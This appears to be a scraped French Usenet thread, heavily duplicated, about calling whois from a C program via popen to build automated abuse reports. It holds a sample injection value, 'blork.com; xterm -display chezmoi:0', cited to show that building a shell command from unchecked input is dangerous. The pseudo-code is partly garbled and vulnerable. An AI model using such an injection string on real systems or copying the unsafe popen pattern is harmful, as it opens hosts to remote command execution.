J'ai publié cette question sur fclc, mais on m'a prévenu que l'article
serait davantage en charte ici.
Pourriez-vus m'aider svp ?
Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un
script ?) en sachant que j'ai besoin que le programme s'interrompe le temps
que le résultat de la requête se retrouve dans un fichier ?
C'est ainsi que je vois les choses, mais s'il y a une autre approche
préférable je suis preneur.
Cette action est irreversible, confirmez la suppression du commentaire ?
Signaler le commentaire
Veuillez sélectionner un problème
Nudité
Violence
Harcèlement
Fraude
Vente illégale
Discours haineux
Terrorisme
Autre
Pascal Bourguignon
christophe Raverdy writes:
Bonsoir.
J'ai publié cette question sur fclc, mais on m'a prévenu que l'article serait davantage en charte ici.
Pourriez-vus m'aider svp ?
Je suis en train de me remettre au C. La première partie (récupération des adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un script ?) en sachant que j'ai besoin que le programme s'interrompe le temps que le résultat de la requête se retrouve dans un fichier ?
C'est ainsi que je vois les choses, mais s'il y a une autre approche préférable je suis preneur.
Par avance, merci pour vos réponses et ou URL.
Le mieux c'est popen(2). Quelque chose comme (pseudo-code, utiliser man!):
int fd=popen(sprintf("whois %s",address),"r"); FILE* whoisýopen(fd,"r"); while(fgets(line,line_size,whois)){ parse_whois_line(line); } fclose(whois);
-- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts.
J'ai publié cette question sur fclc, mais on m'a prévenu que l'article
serait davantage en charte ici.
Pourriez-vus m'aider svp ?
Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un
script ?) en sachant que j'ai besoin que le programme s'interrompe le temps
que le résultat de la requête se retrouve dans un fichier ?
C'est ainsi que je vois les choses, mais s'il y a une autre approche
préférable je suis preneur.
Par avance, merci pour vos réponses et ou URL.
Le mieux c'est popen(2).
Quelque chose comme (pseudo-code, utiliser man!):
int fd=popen(sprintf("whois %s",address),"r");
FILE* whoisýopen(fd,"r");
while(fgets(line,line_size,whois)){
parse_whois_line(line);
}
fclose(whois);
--
__Pascal Bourguignon__ http://www.informatimago.com/
The world will now reboot; don't bother saving your artefacts.
J'ai publié cette question sur fclc, mais on m'a prévenu que l'article serait davantage en charte ici.
Pourriez-vus m'aider svp ?
Je suis en train de me remettre au C. La première partie (récupération des adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un script ?) en sachant que j'ai besoin que le programme s'interrompe le temps que le résultat de la requête se retrouve dans un fichier ?
C'est ainsi que je vois les choses, mais s'il y a une autre approche préférable je suis preneur.
Par avance, merci pour vos réponses et ou URL.
Le mieux c'est popen(2). Quelque chose comme (pseudo-code, utiliser man!):
int fd=popen(sprintf("whois %s",address),"r"); FILE* whoisýopen(fd,"r"); while(fgets(line,line_size,whois)){ parse_whois_line(line); } fclose(whois);
-- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts.
Nicolas George
Pascal Bourguignon wrote in message :
int fd=popen(sprintf("whois %s",address),"r"); FILE* whoisýopen(fd,"r");
popen fournit déjà un FILE *.
fclose(whois);
pclose, attention, sinon on laisse des zombies.
Pascal Bourguignon wrote in message
<87k6rsuzqb.fsf@thalassa.informatimago.com>:
int fd=popen(sprintf("whois %s",address),"r");
FILE* whoisýopen(fd,"r");
int fd=popen(sprintf("whois %s",address),"r"); FILE* whoisýopen(fd,"r");
popen fournit déjà un FILE *.
fclose(whois);
pclose, attention, sinon on laisse des zombies.
christophe Raverdy
Nicolas George a écrit:
int fd=popen(sprintf("whois %s",address),"r"); FILE* whoisýopen(fd,"r");
popen fournit déjà un FILE *.
fclose(whois);
pclose, attention, sinon on laisse des zombies.
Bonsoir
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de mettre en place la solution suivante qui marche (chez moi):
int fd=popen(sprintf("whois %s",address),"r");
FILE* whoisýopen(fd,"r");
popen fournit déjà un FILE *.
fclose(whois);
pclose, attention, sinon on laisse des zombies.
Bonsoir
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et
j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de
mettre en place la solution suivante qui marche (chez moi):
int fd=popen(sprintf("whois %s",address),"r"); FILE* whoisýopen(fd,"r");
popen fournit déjà un FILE *.
fclose(whois);
pclose, attention, sinon on laisse des zombies.
Bonsoir
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de mettre en place la solution suivante qui marche (chez moi):
[ Je ne connais pas le contexte mais meme sans contexte, il y a des choses à ne pas faire, c'est une bonne habitude ]
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de mettre en place la solution suivante qui marche (chez moi):
Que se passe t'il si adresse_IP contient plus de 80 caractères ?
==> utiliser snprintf
if ( (pp= popen(sys_command, "r")) == NULL)
Que se passe t'il si adresse IP contient:
"blork.com; xterm -display chezmoi:0"
==> utiliser fork(),exec() et dup2()
-- Nom d'un chat de nom d'un chat !
[ Je ne connais pas le contexte mais meme sans contexte, il y a des
choses à ne pas faire, c'est une bonne habitude ]
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et
j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de
mettre en place la solution suivante qui marche (chez moi):
[ Je ne connais pas le contexte mais meme sans contexte, il y a des choses à ne pas faire, c'est une bonne habitude ]
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de mettre en place la solution suivante qui marche (chez moi):
Que se passe t'il si adresse_IP contient plus de 80 caractères ?
==> utiliser snprintf
if ( (pp= popen(sys_command, "r")) == NULL)
Que se passe t'il si adresse IP contient:
"blork.com; xterm -display chezmoi:0"
==> utiliser fork(),exec() et dup2()
-- Nom d'un chat de nom d'un chat !
christophe Raverdy
Alain Thivillon a écrit:
[ Je ne connais pas le contexte mais meme sans contexte, il y a des choses à ne pas faire, c'est une bonne habitude ]
C'est juste mon postmaster qui m'expédie tous les jours des machins infâmes par paquets de 50. L'objet contient "Virus prout détecté" et dans le coprs du message Il y a toujours les 3 lignes suivantes (modulo les paramètres) :
- Received: from nvugqdaxd.fr (orgeval-2-82-229-194-154.fbx.proxad.net [82.229.194.154]) - by isengard.teaser.net (Postfix) with SMTP id F35AD44E2D; - Thu, 9 Dec 2004 08:29:05 +0100 (CET)
Le but de la manoeuvre est d'obtenir une moulinette qui fasse des notifications groupées aux FAI (ir)responsables. Note : J'ai prévu un fichier annexe de mémorisation des inetnum afin de ne pas faire de whois pour chaque annonce reçue.
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de mettre en place la solution suivante qui marche (chez moi):
Que se passe t'il si adresse_IP contient plus de 80 caractères ?
gni ?
Toutes les adresses IP que je récupère sont du type 82.229.194.154
==> utiliser snprintf
Effectivement, les versions en n sont sécurisées.
if ( (pp= popen(sys_command, "r")) == NULL)
Que se passe t'il si adresse IP contient:
"blork.com; xterm -display chezmoi:0"
gni again.
==> utiliser fork(),exec() et dup2()
Lors de mes cours Unix en 94, j'ai été traumatisé par des forks. Le côté Je suis ici, mais en fait je suis ailleurs qui me dépasse.
Merci en tous cas pour ces informations, je verrai à les utiliser une fois que j'aurai une application fonctionnelle. Globalement, je ne devrais plus avoir à vous déranger.
- [OK] Récupération des éléments pertinents de la notification - [OK] Récupération des informations sur l'adresse IP ("whois") - [--] Enrichissement de la base "abuse" - [--] Génération et envoi de rapports à chaque abuse ("sendmail") - [--] module statistique sur la réactivité de chaque abuse.
-- et je ne fais aucunes fautes d'orthographes en tappant au clavier sans le regarder et surtout sans utiliser un dictionnaire correctif de fautes... -+- EB in www.le-gnu.net : Un singulier pluriel -+-
Alain Thivillon a écrit:
[ Je ne connais pas le contexte mais meme sans contexte, il y a des
choses à ne pas faire, c'est une bonne habitude ]
C'est juste mon postmaster qui m'expédie tous les jours des machins infâmes
par paquets de 50. L'objet contient "Virus prout détecté" et dans le coprs
du message Il y a toujours les 3 lignes suivantes (modulo les paramètres) :
- Received: from nvugqdaxd.fr (orgeval-2-82-229-194-154.fbx.proxad.net
[82.229.194.154])
- by isengard.teaser.net (Postfix) with SMTP id F35AD44E2D;
- Thu, 9 Dec 2004 08:29:05 +0100 (CET)
Le but de la manoeuvre est d'obtenir une moulinette qui fasse des
notifications groupées aux FAI (ir)responsables.
Note : J'ai prévu un fichier annexe de mémorisation des inetnum afin de ne
pas faire de whois pour chaque annonce reçue.
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google
et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a
permis de mettre en place la solution suivante qui marche (chez moi):
Que se passe t'il si adresse_IP contient plus de 80 caractères ?
gni ?
Toutes les adresses IP que je récupère sont du type 82.229.194.154
==> utiliser snprintf
Effectivement, les versions en n sont sécurisées.
if ( (pp= popen(sys_command, "r")) == NULL)
Que se passe t'il si adresse IP contient:
"blork.com; xterm -display chezmoi:0"
gni again.
==> utiliser fork(),exec() et dup2()
Lors de mes cours Unix en 94, j'ai été traumatisé par des forks.
Le côté Je suis ici, mais en fait je suis ailleurs qui me dépasse.
Merci en tous cas pour ces informations, je verrai à les utiliser une fois
que j'aurai une application fonctionnelle. Globalement, je ne devrais plus
avoir à vous déranger.
- [OK] Récupération des éléments pertinents de la notification
- [OK] Récupération des informations sur l'adresse IP ("whois")
- [--] Enrichissement de la base "abuse"
- [--] Génération et envoi de rapports à chaque abuse ("sendmail")
- [--] module statistique sur la réactivité de chaque abuse.
--
et je ne fais aucunes fautes d'orthographes en tappant au clavier sans
le regarder et surtout sans utiliser un dictionnaire correctif de
fautes...
-+- EB in www.le-gnu.net : Un singulier pluriel -+-
[ Je ne connais pas le contexte mais meme sans contexte, il y a des choses à ne pas faire, c'est une bonne habitude ]
C'est juste mon postmaster qui m'expédie tous les jours des machins infâmes par paquets de 50. L'objet contient "Virus prout détecté" et dans le coprs du message Il y a toujours les 3 lignes suivantes (modulo les paramètres) :
- Received: from nvugqdaxd.fr (orgeval-2-82-229-194-154.fbx.proxad.net [82.229.194.154]) - by isengard.teaser.net (Postfix) with SMTP id F35AD44E2D; - Thu, 9 Dec 2004 08:29:05 +0100 (CET)
Le but de la manoeuvre est d'obtenir une moulinette qui fasse des notifications groupées aux FAI (ir)responsables. Note : J'ai prévu un fichier annexe de mémorisation des inetnum afin de ne pas faire de whois pour chaque annonce reçue.
Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de mettre en place la solution suivante qui marche (chez moi):
Que se passe t'il si adresse_IP contient plus de 80 caractères ?
gni ?
Toutes les adresses IP que je récupère sont du type 82.229.194.154
==> utiliser snprintf
Effectivement, les versions en n sont sécurisées.
if ( (pp= popen(sys_command, "r")) == NULL)
Que se passe t'il si adresse IP contient:
"blork.com; xterm -display chezmoi:0"
gni again.
==> utiliser fork(),exec() et dup2()
Lors de mes cours Unix en 94, j'ai été traumatisé par des forks. Le côté Je suis ici, mais en fait je suis ailleurs qui me dépasse.
Merci en tous cas pour ces informations, je verrai à les utiliser une fois que j'aurai une application fonctionnelle. Globalement, je ne devrais plus avoir à vous déranger.
- [OK] Récupération des éléments pertinents de la notification - [OK] Récupération des informations sur l'adresse IP ("whois") - [--] Enrichissement de la base "abuse" - [--] Génération et envoi de rapports à chaque abuse ("sendmail") - [--] module statistique sur la réactivité de chaque abuse.
-- et je ne fais aucunes fautes d'orthographes en tappant au clavier sans le regarder et surtout sans utiliser un dictionnaire correctif de fautes... -+- EB in www.le-gnu.net : Un singulier pluriel -+-
Stephane Chazelas
2004-12-08, 22:45(+01), christophe Raverdy: [...]
Je suis en train de me remettre au C. La première partie (récupération des adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un script ?) en sachant que j'ai besoin que le programme s'interrompe le temps que le résultat de la requête se retrouve dans un fichier ? [...]
(en rajoutant toutes les verifications qui vont bien, bien sur).
-- Stephane
2004-12-08, 22:45(+01), christophe Raverdy:
[...]
Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un
script ?) en sachant que j'ai besoin que le programme s'interrompe le temps
que le résultat de la requête se retrouve dans un fichier ?
[...]
Je suis en train de me remettre au C. La première partie (récupération des adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes pour faire un appel réseau (whois) à partir d'une adresse IP.
Quel est le moyen le plus simple de le réaliser sous linux (appel d'un script ?) en sachant que j'ai besoin que le programme s'interrompe le temps que le résultat de la requête se retrouve dans un fichier ? [...]
(en rajoutant toutes les verifications qui vont bien, bien sur).
-- Stephane
Laurent Wacrenier
christophe Raverdy écrit:
Je suis en train de me remettre au C. La première partie (récupération des adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes pour faire un appel réseau (whois) à partir d'une adresse IP.
Ouvrir une socket vers le serveur whois, poser la question, traiter la réponse.
Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.
Ouvrir une socket vers le serveur whois, poser la question, traiter la
réponse.
Je suis en train de me remettre au C. La première partie (récupération des adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes pour faire un appel réseau (whois) à partir d'une adresse IP.
Ouvrir une socket vers le serveur whois, poser la question, traiter la réponse.
The environment of the executed command shall be as if a child process were created within the popen() call using the fork() function, and the child invoked the sh utility using the call: [...]
The environment of the executed command shall be as if a child
process were created within the popen() call using the fork()
function, and the child invoked the sh utility using the call:
[...]
The environment of the executed command shall be as if a child process were created within the popen() call using the fork() function, and the child invoked the sh utility using the call: [...]